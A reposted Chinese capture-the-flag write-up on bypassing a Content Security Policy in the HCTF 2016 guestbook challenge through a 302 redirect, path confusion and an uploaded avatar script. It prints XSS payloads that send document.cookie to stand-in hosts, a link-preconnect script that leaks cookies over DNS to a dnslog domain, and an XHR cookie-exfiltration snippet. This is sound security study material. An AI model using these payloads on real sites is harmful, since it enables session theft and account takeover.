hctf2016_302跳轉繞csp---總結


頁面目錄如下:

register.php注冊頁面。

user.php可發送消息給其他用戶。

profile.php可配置參數添加用戶頭像(加載eval js文件)。

static存在redirect.php重定向頁面。

看下csp規則:

default-src 'self'; 
script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; 
font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline';
img-src 'self'

1、script沒有開啟unsafe-inline,也就是說不允許內聯腳本(不能直接寫js代碼注入)
2、script只允許static目錄,但這個目錄下內容不可控
3、style-src開啟了unsafe-inline而且是self
4、default-src為self,也就是站內請求都是被許可的

假如script開啟了unsafe-inline的話,可以通過構造新開頁面或者跳轉來解決域限制,由於js可以任意構造,所以這里也就通過特別的方式繞過了原本的限制。這個題目就是hctf2016 guestbook的繞過csp思路

<scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

攻擊目標獲:取admin的cookie。

攻擊思路:defalt-src是self,1、表示即使拿到cookie也只能在域內傳送,所以只能將cookie傳回注冊用戶afanti.user.php存在常規xss但是unsafe-inline不能寫入js代碼。要是引入js代碼,引入的目錄在/hctf2016_secret_area/static/這里不可控沒法傳入js,/hctf2016_secret_area/upload/這個目錄我們可控(通過上傳頭像寫入代碼),但是這個目錄沒有在script-src內,所以通過重定向繞過csp.到我們可控的目錄/hctf2016_secret_area/upload/

2、可以拿到cookie向域外傳送:因為/hctf2016_secret_area/upload/可控,在上傳頭像中寫入打開新頁面來傳遞cookie.

3、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>類似rpo繞過csp.

主要利用瀏覽器和服務器解析不一致繞過csp,瀏覽器會加載static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,這是沒有跨域的。但是服務器會把%2f解析,跳倆個目錄返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402導致繞過csp,/upload我們上傳內容可控。

攻擊流程:

1.注冊afanti用戶並上傳頭像,攻擊代碼會將admin的cookie發送到afanti用戶下

說下把script標簽去掉,截圖中沒去,要不會報錯

2、給admin發送如下消息

<scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

3.當admin用戶訪問時,加載js的時候,會通過redirect.php頁面加載 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402這個js文件。

將admin的cookie發送給afanti用戶。

4.afanti用戶訪問得到admin 的cookie

4.只是將上傳頭像內容改一下,把cookie傳到外域測試。當管理員打開頁面時,會打開新的頁面並把cookie帶出來。

 

 

測試:xhr設置到域外被default-src攔截。

link的prefetch被chrome的default-src被攔截:

link的preload也遵循csp規則,當as屬性設置為image時,被csp的image-src攔截,假如設置的屬性可以傳遞到外域,eg:img-src:*,就可以傳遞到外域了:

 

link的prerender在chrome通過測試,但是很迷觸發方式不太清楚:

link中的preconnect(dns通道)最好用,可以chrome和firefox都能繞csp:

dc = document.cookie;
dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io\">"; console.log(n0.innerHTML); }

打到如下cookie:

cookie格式:

admin=hctf2o16com30nag0gog0; path=/
PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/

dnslog上的cookie: _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
 

最后,不是所有的頁面都能夠被預加載,當資源類型如下時:

URL中包含下載資源
頁面中包含音頻、視頻
POST、PUT和DELET操作的ajax請求
HTTP認證
HTTPS頁面
含惡意軟件的頁面
彈窗頁面
占用資源很多的頁面
打開了chrome developer tools開發工具

總結:

通過302跳轉繞過js,跳到我們可控的目錄來執行js。

1、有跳轉目錄(登錄界面)

2、存在xss

3、可控目錄我們可以上傳圖像等文件

---------------------------------------------------------------------------------------

如果沒有unsafe-inline的助攻,而且都是self的話,這樣也只能尋求站內的上傳點。

以下不算是繞過csp,屬於繞過上傳的內容檢測

1、上傳的swf內容

1.CWS
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); 
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie); </script>
<link rel='import' href='/upload/1.cws'>

2、上傳jpeg帶有js的jpg圖片。

https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

3、上傳gif或者音頻文件webp

https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

其他類型的以后在總結。

參考文章:

https://lorexxar.cn/2016/11/30/hctf2016-xss/

https://lorexxar.cn/2016/10/31/csp-then2/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM